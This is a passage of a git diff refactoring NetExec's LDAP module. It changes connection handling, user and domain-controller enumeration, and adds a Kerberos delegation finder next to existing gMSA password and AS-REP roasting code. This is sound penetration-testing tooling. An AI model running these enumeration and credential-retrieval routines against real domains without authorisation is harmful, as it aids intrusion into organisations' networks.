nxc.protocols.ldap.bloodhound import BloodHound from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB from nxc.protocols.ldap.kerberos import KerberosAttacks from nxc.parsers.ldap_results import parse_result_attributes +from nxc.helpers.ntlm_parser import parse_challenge ldap_error_status = { "1": "STATUS_NOT_SUPPORTED", @@ -134,7 +134,7 @@ class ldap(connection): self.server_os = None self.os_arch = 0 self.hash = None - self.ldapConnection = None + self.ldap_connection = None self.lmhash = "" self.nthash = "" self.baseDN = "" @@ -161,15 +161,18 @@ class ldap(connection): } ) - def get_ldap_info(self, host): + def create_conn_obj(self): + target = "" + target_domain = "" + base_dn = "" try: proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap" - ldap_url = f"{proto}://{host}" + ldap_url = f"{proto}://{self.host}" self.logger.info(f"Connecting to {ldap_url} with no baseDN") try: - ldap_connection = ldap_impacket.LDAPConnection(ldap_url, dstIp=self.host) - if ldap_connection: - self.logger.debug(f"ldap_connection: {ldap_connection}") + self.ldap_connection = ldap_impacket.LDAPConnection(ldap_url, dstIp=self.host) + if self.ldap_connection: + self.logger.debug(f"ldap_connection: {self.ldap_connection}") except SysCallError as e: if proto == "ldaps": self.logger.fail(f"LDAPs connection to {ldap_url} failed - {e}") @@ -177,9 +180,9 @@ class ldap(connection): self.logger.fail("Even if the port is open, LDAPS may not be configured") else: self.logger.fail(f"LDAP connection to {ldap_url} failed: {e}") - exit(1) + return False - resp = ldap_connection.search( + resp = self.ldap_connection.search( scope=ldapasn1_impacket.Scope("baseObject"), attributes=["defaultNamingContext", "dnsHostName"], sizeLimit=0, @@ -187,9 +190,6 @@ class ldap(connection): for item in resp: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: continue - target = None - target_domain = None - base_dn = None try: for attribute in item["attributes"]: if str(attribute["type"]) == "defaultNamingContext": @@ -205,43 +205,23 @@ class ldap(connection): except Exception as e: self.logger.debug("Exception:", exc_info=True) self.logger.info(f"Skipping item, cannot process due to error {e}") - except OSError: - return [None, None, None] + except ConnectionRefusedError as e: + self.logger.debug(f"{e} on host {self.host}") + return False + except OSError as e: + self.logger.error(f"Error getting ldap info {e}") + self.logger.debug(f"Target: {target}; target_domain: {target_domain}; base_dn: {base_dn}") - return [target, target_domain, base_dn] - - def get_os_arch(self): - try: - string_binding = rf"ncacn_ip_tcp:{self.host}[135]" - transport = DCERPCTransportFactory(string_binding) - transport.setRemoteHost(self.host) - transport.set_connect_timeout(5) - dce = transport.get_dce_rpc() - if self.args.kerberos: - dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) - dce.connect() - try: - dce.bind( - MSRPC_UUID_PORTMAP, - transfer_syntax=("71710533-BEBA-4937-8319-B5DBEF9CCC36", "1.0"), - ) - except DCERPCException as e: - if str(e).find("syntaxes_not_supported") >= 0: - dce.disconnect() - return 32 - else: - dce.disconnect() - return 64 - except Exception as e: - self.logger.fail(f"Error retrieving os arch of {self.host}: {e!s}") - - return 0 + self.target = target + self.targetDomain = target_domain + self.baseDN = base_dn + return True def get_ldap_username(self): extended_request = ldapasn1_impacket.ExtendedRequest() extended_request["requestName"] = "1.3.6.1.4.1.4203.1.11.3" # whoami - response = self.ldapConnection.sendReceive(extended_request) + response = self.ldap_connection.sendReceive(extended_request) for message in response: search_result = message["protocolOp"].getComponent() if search_result["resultCode"] == ldapasn1_impacket.ResultCode("success"): @@ -252,47 +232,28 @@ class ldap(connection): return "" def enum_host_info(self): - self.target, self.targetDomain, self.baseDN = self.get_ldap_info(self.host) - self.hostname = self.target + self.baseDN = self.args.base_dn if self.args.base_dn else self.baseDN # Allow overwriting baseDN from args + self.hostname = self.target.split(".")[0].upper() if "." in self.target else self.target self.remoteName = self.target self.domain = self.targetDomain - # smb no open, specify the domain - if not self.args.no_smb: - self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0] - try: - self.conn.login("", "") - except BrokenPipeError as e: - self.logger.fail(f"Broken Pipe Error while attempting to login: {e}") - except Exception as e: - if "STATUS_NOT_SUPPORTED" in str(e): - self.no_ntlm = True - if not self.no_ntlm: - self.hostname = self.conn.getServerName() - self.targetDomain = self.domain = self.conn.getServerDNSDomainName() - self.server_os = self.conn.getServerOS() - self.signing = self.conn.isSigningRequired() if self.smbv1 else self.conn._SMBConnection._Connection["RequireSigning"] - self.os_arch = self.get_os_arch() - self.logger.extra["hostname"] = self.hostname + ntlm_challenge = None + bindRequest = ldapasn1_impacket.BindRequest() + bindRequest["version"] = 3 + bindRequest["name"] = "" + negotiate = getNTLMSSPType1() + bindRequest["authentication"]["sicilyNegotiate"] = negotiate.getData() + try: + response = self.ldap_connection.sendReceive(bindRequest)[0]["protocolOp"] + ntlm_challenge = bytes(response["bindResponse"]["matchedDN"]) + except Exception as e: + self.logger.debug(f"Failed to get target {self.host} ntlm challenge, error: {e!s}") - if not self.domain: - self.domain = self.hostname - if self.args.domain: - self.domain = self.args.domain - if self.args.local_auth: - self.domain = self.hostname - self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}" + if ntlm_challenge: + ntlm_info = parse_challenge(ntlm_challenge) + self.server_os = ntlm_info["os_version"] - try: # noqa: SIM105 - # DC's seem to want us to logoff first, windows workstations sometimes reset the connection - self.conn.logoff() - except Exception: - pass - - # Re-connect since we logged off - self.create_conn_obj() - - if not self.kdcHost and self.domain: + if not self.kdcHost and self.domain and self.domain == self.remoteName: result = self.resolver(self.domain) self.kdcHost = result["host"] if result else None self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}") @@ -301,18 +262,10 @@ class ldap(connection): def print_host_info(self): self.logger.debug("Printing host info for LDAP") - if self.args.no_smb: - self.logger.extra["protocol"] = "LDAP" if self.port == 389 else "LDAPS" - self.logger.extra["port"] = self.port - self.logger.display(f'{self.baseDN} (Hostname: {self.hostname.split(".")[0]}) (domain: {self.domain})') - else: - self.logger.extra["protocol"] = "SMB" if not self.no_ntlm else "LDAP" - self.logger.extra["port"] = "445" if not self.no_ntlm else "389" - signing = colored(f"signing:{self.signing}", host_info_colors[0], attrs=["bold"]) if self.signing else colored(f"signing:{self.signing}", host_info_colors[1], attrs=["bold"]) - smbv1 = colored(f"SMBv1:{self.smbv1}", host_info_colors[2], attrs=["bold"]) if self.smbv1 else colored(f"SMBv1:{self.smbv1}", host_info_colors[3], attrs=["bold"]) - self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.targetDomain}) ({signing}) ({smbv1})") - self.logger.extra["protocol"] = "LDAP" - return True + self.logger.extra["protocol"] = "LDAP" if str(self.port) == "389" else "LDAPS" + self.logger.extra["port"] = self.port + self.logger.extra["hostname"] = self.hostname + self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})") def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False): self.username = username @@ -353,8 +306,8 @@ class ldap(connection): proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap" ldap_url = f"{proto}://{self.target}" self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [1]") - self.ldapConnection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host) - self.ldapConnection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache) + self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host) + self.ldap_connection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache) if self.username == "": self.username = self.get_ldap_username() @@ -398,8 +351,8 @@ class ldap(connection): self.logger.extra["port"] = "636" ldaps_url = f"ldaps://{self.target}" self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [2]") - self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) - self.ldapConnection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache) + self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) + self.ldap_connection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache) if self.username == "": self.username = self.get_ldap_username() @@ -455,8 +408,8 @@ class ldap(connection): proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap" ldap_url = f"{proto}://{self.target}" self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [3]") - self.ldapConnection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host) - self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) + self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host) + self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.check_if_admin() # Prepare success credential text @@ -476,8 +429,8 @@ class ldap(connection): self.logger.extra["port"] = "636" ldaps_url = f"ldaps://{self.target}" self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [4]") - self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) - self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) + self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) + self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.check_if_admin() # Prepare success credential text @@ -494,15 +447,12 @@ class ldap(connection): f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}", color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red", ) - self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.") else: error_code = str(e).split()[-2][:-1] self.logger.fail( f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}", color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red", ) - if proto == "ldaps": - self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.") return False except OSError as e: self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}") @@ -544,8 +494,8 @@ class ldap(connection): proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap" ldaps_url = f"{proto}://{self.target}" self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}") - self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) - self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) + self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) + self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.check_if_admin() # Prepare success credential text @@ -565,8 +515,8 @@ class ldap(connection): self.logger.extra["port"] = "636" ldaps_url = f"{proto}://{self.target}" self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}") - self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) - self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) + self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) + self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.check_if_admin() # Prepare success credential text @@ -584,54 +534,17 @@ class ldap(connection): f"{self.domain}\\{self.username}:{process_secret(nthash)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}", color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red", ) - self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.") else: error_code = str(e).split()[-2][:-1] self.logger.fail( f"{self.domain}\\{self.username}:{process_secret(nthash)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}", color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red", ) - if proto == "ldaps": - self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.") return False except OSError as e: self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}") return False - def create_smbv1_conn(self): - self.logger.debug("Creating smbv1 connection object") - try: - self.conn = SMBConnection(self.host, self.host, None, 445, preferredDialect=SMB_DIALECT) - self.smbv1 = True - if self.conn: - self.logger.debug("SMBv1 Connection successful") - except OSError as e: - if str(e).find("Connection reset by peer") != -1: - self.logger.debug(f"SMBv1 might be disabled on {self.host}") - return False - except Exception as e: - self.logger.debug(f"Error creating SMBv1 connection to {self.host}: {e}") - return False - return True - - def create_smbv3_conn(self): - self.logger.debug("Creating smbv3 connection object") - try: - self.conn = SMBConnection(self.host, self.host, None, 445) - self.smbv1 = False - if self.conn: - self.logger.debug("SMBv3 Connection successful") - except OSError: - return False - except Exception as e: - self.logger.debug(f"Error creating SMBv3 connection to {self.host}: {e}") - return False - - return True - - def create_conn_obj(self): - return bool(self.args.no_smb or self.create_smbv1_conn() or self.create_smbv3_conn()) - def get_sid(self): self.logger.highlight(f"Domain SID {self.sid_domain}") @@ -660,7 +573,7 @@ class ldap(connection): attributes = ["objectSid"] resp = self.search(search_filter, attributes, sizeLimit=0) answers = [] - if resp and (self.password != "" or self.lmhash != "" or self.nthash != "") and self.username != "": + if resp and (self.password != "" or self.lmhash != "" or self.nthash != "" or self.aesKey != "") and self.username != "": for attribute in resp[0][1]: if str(attribute["type"]) == "objectSid": sid = self.sid_to_str(attribute["vals"][0]) @@ -677,6 +590,9 @@ class ldap(connection): for attribute in item["attributes"]: if str(attribute["type"]) == "distinguishedName": answers.append(str("(memberOf:1.2.840.113556.1.4.1941:=" + attribute["vals"][0] + ")")) + if len(answers) == 0: + self.logger.debug("No groups with default privileged RID were found. Assuming user is not a Domain Administrator.") + return # 3. get member of these groups search_filter = "(&(objectCategory=user)(sAMAccountName=" + self.username + ")(|" + "".join(answers) + "))" @@ -694,14 +610,15 @@ class ldap(connection): t /= 10000000 return t - def search(self, searchFilter, attributes, sizeLimit=0): + def search(self, searchFilter, attributes, sizeLimit=0) -> list: try: - if self.ldapConnection: + if self.ldap_connection: self.logger.debug(f"Search Filter={searchFilter}") # Microsoft Active Directory set an hard limit of 1000 entries returned by any search paged_search_control = ldapasn1_impacket.SimplePagedResultsControl(criticality=True, size=1000) - return self.ldapConnection.search( + return self.ldap_connection.search( + searchBase=self.baseDN, searchFilter=searchFilter, attributes=attributes, sizeLimit=sizeLimit, @@ -714,8 +631,8 @@ class ldap(connection): e.getAnswers() else: self.logger.fail(e) - return False - return False + return [] + return [] def users(self): """ @@ -734,38 +651,25 @@ class ldap(connection): search_filter = f"(|{''.join(f'(sAMAccountName={user})' for user in self.args.users)})" else: self.logger.debug("Trying to dump all users") - search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)" + search_filter = "(sAMAccountType=805306368)" - # default to these attributes to mirror the SMB --users functionality + # Default to these attributes to mirror the SMB --users functionality request_attributes = ["sAMAccountName", "description", "badPwdCount", "pwdLastSet"] resp = self.search(search_filter, request_attributes, sizeLimit=0) if resp: - # I think this was here for anonymous ldap bindings, so I kept it, but we might just want to remove it - if self.username == "": - self.logger.display(f"Total records returned: {len(resp):d}") - for item in resp: - if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: - continue - self.logger.highlight(f"{item['objectName']}") - return + resp_parse = parse_result_attributes(resp) - users = parse_result_attributes(resp) - # we print the total records after we parse the results since often SearchResultReferences are returned - self.logger.display(f"Enumerated {len(users):d} domain users: {self.domain}") - self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}") - for user in users: - # TODO: functionize this - we do this calculation in a bunch of places, different, including in the `pso` module - parsed_pw_last_set = "" + # We print the total records after we parse the results since often SearchResultReferences are returned + self.logger.display(f"Enumerated {len(resp_parse):d} domain users: {self.domain}") + self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<9}{'-Description-':<60}") + for user in resp_parse: pwd_last_set = user.get("pwdLastSet", "") - if pwd_last_set != "": - timestamp_seconds = int(pwd_last_set) / 10**7 - start_date = datetime(1601, 1, 1) - parsed_pw_last_set = (start_date + timedelta(seconds=timestamp_seconds)).replace(microsecond=0).strftime("%Y-%m-%d %H:%M:%S") - if parsed_pw_last_set == "1601-01-01 00:00:00": - parsed_pw_last_set = "" - # we default attributes to blank strings if they don't exist in the dict - self.logger.highlight(f"{user.get('sAMAccountName', ''):<30}{parsed_pw_last_set:<20}{user.get('badPwdCount', ''):<8}{user.get('description', ''):<60}") + if pwd_last_set: + pwd_last_set = "" if pwd_last_set == "0" else datetime.fromtimestamp(self.getUnixTime(int(pwd_last_set))).strftime("%Y-%m-%d %H:%M:%S") + + # We default attributes to blank strings if they don't exist in the dict + self.logger.highlight(f"{user.get('sAMAccountName', ''):<30}{pwd_last_set:<20}{user.get('badPwdCount', ''):<9}{user.get('description', ''):<60}") def groups(self): # Building the search filter @@ -791,97 +695,84 @@ class ldap(connection): def dc_list(self): # Building the search filter + resolv = resolver.Resolver() + if self.args.dns_server: + resolv.nameservers = [self.args.dns_server] + else: + resolv.nameservers = [self.host] + resolv.timeout = self.args.dns_timeout + search_filter = "(&(objectCategory=computer)(primaryGroupId=516))" attributes = ["dNSHostName"] resp = self.search(search_filter, attributes, 0) + resp_parse = parse_result_attributes(resp) - for item in resp: - if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: - continue - name = "" + for item in resp_parse: + name = item.get("dNSHostName", "") # Get dNSHostName attribute or empty string try: - for attribute in item["attributes"]: - if str(attribute["type"]) == "dNSHostName": - name = str(attribute["vals"][0]) - try: - ip_address = socket.gethostbyname(name.split(".")[0]) - if ip_address is not True and name != "": - self.logger.highlight(f"{name} = {colored(ip_address, host_info_colors[0])}") - except socket.gaierror: - self.logger.fail(f"{name} = Connection timeout") + # Resolve using DNS server for A, AAAA, CNAME, PTR, and NS records + if name: + found_record = False # Flag to check if any record is found + + for record_type in ["A", "AAAA", "CNAME", "PTR", "NS"]: + if found_record: + break # If a record has been found, stop checking further + + try: + answers = resolv.resolve(name, record_type, tcp=self.args.dns_tcp) + for rdata in answers: + if record_type in ["A", "AAAA"]: + ip_address = rdata.to_text() + self.logger.highlight(f"{name} = {colored(ip_address, host_info_colors[0])}") + found_record = True # Set flag to true since a record is found + elif record_type == "CNAME": + self.logger.highlight(f"{name} CNAME = {colored(rdata.to_text(), host_info_colors[0])}") + found_record = True + elif record_type == "PTR": + self.logger.highlight(f"{name} PTR = {colored(rdata.to_text(), host_info_colors[0])}") + found_record = True + elif record_type == "NS": + self.logger.highlight(f"{name} NS = {colored(rdata.to_text(), host_info_colors[0])}") + found_record = True + except resolv.NXDOMAIN: + self.logger.fail(f"{name} = Host not found (NXDOMAIN)") + except resolv.Timeout: + self.logger.fail(f"{name} = Connection timed out") + except resolv.NoAnswer: + self.logger.fail(f"{name} = DNS server did not respond") + except Exception as e: + self.logger.fail(f"{name} encountered an unexpected error: {e}") + else: + self.logger.fail("dNSHostName value is empty, unable to process.") except Exception as e: - self.logger.fail("Exception:", exc_info=True) - self.logger.fail(f"Skipping item, cannot process due to error {e}") + self.logger.fail("General Error:", exc_info=True) + self.logger.fail(f"Skipping item(dNSHostName) {name}, error: {e}") def active_users(self): if len(self.args.active_users) > 0: - arg = True self.logger.debug(f"Dumping users: {', '.join(self.args.active_users)}") - search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)" - search_filter_args = f"(|{''.join(f'(sAMAccountName={user})' for user in self.args.active_users)})" + search_filter = f"(|{''.join(f'(sAMAccountName={user})' for user in self.args.active_users)})" else: - arg = False self.logger.debug("Trying to dump all users") - search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)" + search_filter = "(sAMAccountType=805306368)" - # default to these attributes to mirror the SMB --users functionality + # Default to these attributes to mirror the SMB --users functionality request_attributes = ["sAMAccountName", "description", "badPwdCount", "pwdLastSet", "userAccountControl"] resp = self.search(search_filter, request_attributes, sizeLimit=0) - allusers = parse_result_attributes(resp) - count = 0 - activeusers = [] - argsusers = [] + if resp: + all_users = parse_result_attributes(resp) + # Filter disabled users (ignore accounts without userAccountControl value) + active_users = [user for user in all_users if not (int(user.get("userAccountControl", UF_ACCOUNTDISABLE)) & UF_ACCOUNTDISABLE)] - if arg: - resp_args = self.search(search_filter_args, request_attributes, sizeLimit=0) - users_args = parse_result_attributes(resp_args) - # This try except for, if user gives a doesn't exist username. If it does, parsing process is crashing - for i in range(len(self.args.active_users)): - try: - argsusers.append(users_args[i]) - except Exception as e: - self.logger.debug("Exception:", exc_info=True) - self.logger.debug(f"Skipping item, cannot process due to error {e}") - else: - argsusers = allusers + self.logger.display(f"Total records returned: {len(all_users)}, total {len(all_users) - len(active_users):d} user(s) disabled") + self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<9}{'-Description-':<60}") - for user in allusers: - user_account_control = user.get("userAccountControl") - if user_account_control is not None: # Check if user_account_control is not None - account_control = "".join(user_account_control) if isinstance(user_account_control, list) else user_account_control # If it's already a list - account_disabled = int(account_control) & 2 - if not account_disabled: - count += 1 - activeusers.append(user.get("sAMAccountName").lower()) - else: - self.logger.debug(f"userAccountControl for user {user.get('sAMAccountName')} is None") - - if self.username == "": - self.logger.display(f"Total records returned: {len(resp):d}") - for item in resp_args: - if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: - continue - self.logger.highlight(f"{item['objectName']}") - return - self.logger.display(f"Total records returned: {count}, total {len(allusers) - count:d} user(s) disabled") if not arg else self.logger.display(f"Total records returned: {len(argsusers)}, Total {len(allusers) - count:d} user(s) disabled") - self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}") - - for arguser in argsusers: - pwd_last_set = arguser.get("pwdLastSet", "") # Retrieves pwdLastSet directly and defaults to an empty string. - if pwd_last_set: # Checks if pwdLastSet is empty or not. - timestamp_seconds = int(pwd_last_set) / 10**7 # Converts pwdLastSet to an integer. - start_date = datetime(1601, 1, 1) - parsed_pw_last_set = (start_date + timedelta(seconds=timestamp_seconds)).replace(microsecond=0).strftime("%Y-%m-%d %H:%M:%S") - if parsed_pw_last_set == "1601-01-01 00:00:00": - parsed_pw_last_set = "" - - if arguser.get("sAMAccountName").lower() in activeusers and arg is False: - self.logger.highlight(f"{arguser.get('sAMAccountName', ''):<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}") - elif (arguser.get("sAMAccountName").lower() not in activeusers) and arg is True: - self.logger.highlight(f"{arguser.get('sAMAccountName', '') + ' (Disabled)':<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}") - elif (arguser.get("sAMAccountName").lower() in activeusers): - self.logger.highlight(f"{arguser.get('sAMAccountName', ''):<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}") + for user in active_users: + pwd_last_set = user.get("pwdLastSet", "") + if pwd_last_set: + pwd_last_set = "" if pwd_last_set == "0" else datetime.fromtimestamp(self.getUnixTime(int(pwd_last_set))).strftime("%Y-%m-%d %H:%M:%S") + self.logger.highlight(f"{user.get('sAMAccountName', ''):<30}{pwd_last_set:<20}{user.get('badPwdCount', ''):<9}{user.get('description', '')}") def asreproast(self): if self.password == "" and self.nthash == "" and self.kerberos is False: @@ -1085,6 +976,107 @@ class ldap(connection): vals = vals.replace("SetOf: ", "") self.logger.highlight(f"{attr:<20} {vals}") + def find_delegation(self): + def printTable(items, header): + colLen = [] + + # Calculating maximum lenght before parsing CN. + for i, col in enumerate(header): + rowMaxLen = max(len(row[1].split(",")[0].split("CN=")[-1]) for row in items) if i == 1 else max(len(str(row[i])) for row in items) + colLen.append(max(rowMaxLen, len(col))) + + # Create the format string for each row + outputFormat = " ".join([f"{{{num}:{width}s}}" for num, width in enumerate(colLen)]) + + # Print header + self.logger.highlight(outputFormat.format(*header)) + self.logger.highlight(" ".join(["-" * itemLen for itemLen in colLen])) + + # Print rows + for row in items: + # Get first CN value. + if "CN=" in row[1]: + row[1] = row[1].split(",")[0].split("CN=")[-1] + + # Added join for DelegationRightsTo + row[3] = ", ".join(str(x) for x in row[3]) if isinstance(row[3], list) else row[3] + + self.logger.highlight(outputFormat.format(*row)) + + # Building the search filter + search_filter = (f"(&(|(UserAccountControl:1.2.840.113556.1.4.803:={UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION})" + f"(UserAccountControl:1.2.840.113556.1.4.803:={UF_TRUSTED_FOR_DELEGATION})" + "(msDS-AllowedToDelegateTo=*)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" + f"(!(UserAccountControl:1.2.840.113556.1.4.803:={UF_ACCOUNTDISABLE})))") + # f"(!(UserAccountControl:1.2.840.113556.1.4.803:={UF_SERVER_TRUST_ACCOUNT})))") This would filter out RBCD to DCs + + attributes = ["sAMAccountName", "pwdLastSet", "userAccountControl", "objectCategory", + "msDS-AllowedToActOnBehalfOfOtherIdentity", "msDS-AllowedToDelegateTo"] + + resp = self.search(search_filter, attributes) + answers = [] + self.logger.debug(f"Total of records returned {len(resp):d}") + resp_parse = parse_result_attributes(resp) + + for item in resp_parse: + sAMAccountName = "" + userAccountControl = 0 + delegation = "" + objectType = "" + rightsTo = [] + protocolTransition = 0 + + try: + sAMAccountName = item["sAMAccountName"] + + userAccountControl = int(item["userAccountControl"]) + objectType = item.get("objectCategory") + + # Filter out DCs, unconstrained delegation to DCs is not a useful information + if userAccountControl & UF_TRUSTED_FOR_DELEGATION and not userAccountControl & UF_SERVER_TRUST_ACCOUNT: + delegation = "Unconstrained" + rightsTo.append("N/A") + elif userAccountControl & UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION: + delegation = "Constrained w/ Protocol Transition" + protocolTransition = 1 + + if item.get("msDS-AllowedToDelegateTo") is not None: + if protocolTransition == 0: + delegation = "Constrained" + rightsTo = item.get("msDS-AllowedToDelegateTo") + + # Not an elif as an object could both have RBCD and another type of delegation + if item.get("msDS-AllowedToActOnBehalfOfOtherIdentity") is not None: + databyte = item.get("msDS-AllowedToActOnBehalfOfOtherIdentity") + rbcdRights = [] + rbcdObjType = [] + sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=bytes(databyte)) + if len(sd["Dacl"].aces) > 0: + search_filter = "(&(|" + for ace in sd["Dacl"].aces: + search_filter += "(objectSid=" + ace["Ace"]["Sid"].formatCanonical() + ")" + search_filter += f")(!(UserAccountControl:1.2.840.113556.1.4.803:={UF_ACCOUNTDISABLE})))" + delegUserResp = self.search(search_filter, attributes=["sAMAccountName", "objectCategory"]) + delegUserResp_parse = parse_result_attributes(delegUserResp) + + for rbcd in delegUserResp_parse: + rbcdRights.append(str(rbcd.get("sAMAccountName"))) + rbcdObjType.append(str(rbcd.get("objectCategory"))) + + for rights, objType in zip(rbcdRights, rbcdObjType, strict=True): + answers.append([rights, objType, "Resource-Based Constrained", sAMAccountName]) + + if delegation in ["Unconstrained", "Constrained", "Constrained w/ Protocol Transition"]: + answers.append([sAMAccountName, objectType, delegation, rightsTo]) + + except Exception as e: + self.logger.error(f"Skipping item, cannot process due to error {e}") + + if answers: + printTable(answers, header=["AccountName", "AccountType", "DelegationType", "DelegationRightsTo"]) + else: + self.logger.fail("No entries found!") + def trusted_for_delegation(self): # Building the search filter searchFilter = "(userAccountControl:1.2.840.113556.1.4.803:=524288)" @@ -1147,7 +1139,8 @@ class ldap(connection): searchFilter = "(userAccountControl:1.2.840.113556.1.4.803:=32)" try: self.logger.debug(f"Search Filter={searchFilter}") - resp = self.ldapConnection.search( + resp = self.ldap_connection.search( + searchBase=self.baseDN, searchFilter=searchFilter, attributes=[ "sAMAccountName", @@ -1274,7 +1267,8 @@ class ldap(connection): def gmsa(self): self.logger.display("Getting GMSA Passwords") search_filter = "(objectClass=msDS-GroupManagedServiceAccount)" - gmsa_accounts = self.ldapConnection.search( + gmsa_accounts = self.ldap_connection.search( + searchBase=self.baseDN, searchFilter=search_filter, attributes=[ "sAMAccountName", @@ -1282,7 +1276,6 @@ class ldap(connection): "msDS-GroupMSAMembership", ], sizeLimit=0, - searchBase=self.baseDN, ) if gmsa_accounts: self.logger.debug(f"Total of records returned {len(gmsa_accounts):d}") @@ -1327,11 +1320,11 @@ class ldap(connection): else: # getting the gmsa account search_filter = "(objectClass=msDS-GroupManagedServiceAccount)" - gmsa_accounts = self.ldapConnection.search( + gmsa_accounts = self.ldap_connection.search( + searchBase=self.baseDN, searchFilter=search_filter, attributes=["sAMAccountName"], sizeLimit=0, - searchBase=self.baseDN, ) if gmsa_accounts: self.logger.debug(f"Total of records returned {len(gmsa_accounts):d}") @@ -1357,11 +1350,11 @@ class ldap(connection): gmsa_pass = gmsa[1] # getting the gmsa account search_filter = "(objectClass=msDS-GroupManagedServiceAccount)" - gmsa_accounts = self.ldapConnection.search( + gmsa_accounts = self.ldap_connection.search( + searchBase=self.baseDN, searchFilter=search_filter, attributes=["sAMAccountName"], sizeLimit=0, - searchBase=self.baseDN, ) if gmsa_accounts: self.logger.debug(f"Total of records returned {len(gmsa_accounts):d}") diff --git a/nxc/protocols/ldap/proto_args.py 